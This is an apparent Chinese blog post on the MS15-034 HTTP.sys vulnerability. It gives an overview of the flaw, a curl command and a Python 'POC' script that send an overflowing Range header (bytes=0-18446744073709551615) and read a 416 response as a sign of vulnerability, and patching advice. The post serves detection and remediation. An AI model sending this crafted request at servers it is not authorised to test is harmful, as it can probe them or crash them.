HTTP.sys远程代码执行漏洞

如果有一天,当工作环境、生活环境和生活条件不再适合你的性格了,那时,且只有那时,你才能寻求改变。——马洛伊·山多尔《草叶集》

0x00 漏洞概述

远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。
若要利用此漏洞,攻击者必须将经特殊设计的 HTTP 请求发送到受影响的系统。 通过修改 Windows HTTP 堆栈处理请求的方式,此更新可以修复此漏洞。
Microsoft 通过协同的漏洞披露渠道了解到此漏洞的信息。 在最初发布此安全公告时,Microsoft 未收到任何表明此漏洞已公开用于攻击用户的信息。
来源:https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2015/ms15-034

0x01 漏洞检测

简单检测该漏洞,响应码416说明存在此漏洞。

1
curl -v xxx.com  -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python3
#-*-coding: utf-8 -*-

import requests

#检测服务器banner
def check_server(url):
try:
r = requests.get(url)
head_dict = r.headers
serinfo = head_dict.get("Server")
if "Microsoft-IIS" in serinfo:
ms15_034(url)
else:
print("The server may not Microsoft IIS!")
ms15_034(url)
except requests.exceptions.RequestException as msg:
print("Error:{}".format(msg))

def ms15_034(url):
head = {"Range": "bytes=0-18446744073709551615"}
try:
r = requests.get(url, headers = head)
#或者 "Requested Range Not Satisfiable"在响应包头中
if r.status_code == 416:
print("Target is vlun!")
else:
print("Target is not vlun!")
except requests.exceptions.RequestException as msg:
print("Error:{}".format(msg))

if __name__ == '__main__':
url = str(input("Input the target_url:"))
print("Start check....")
check_server(url)

0x02 漏洞修复

更新微软官方补丁

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×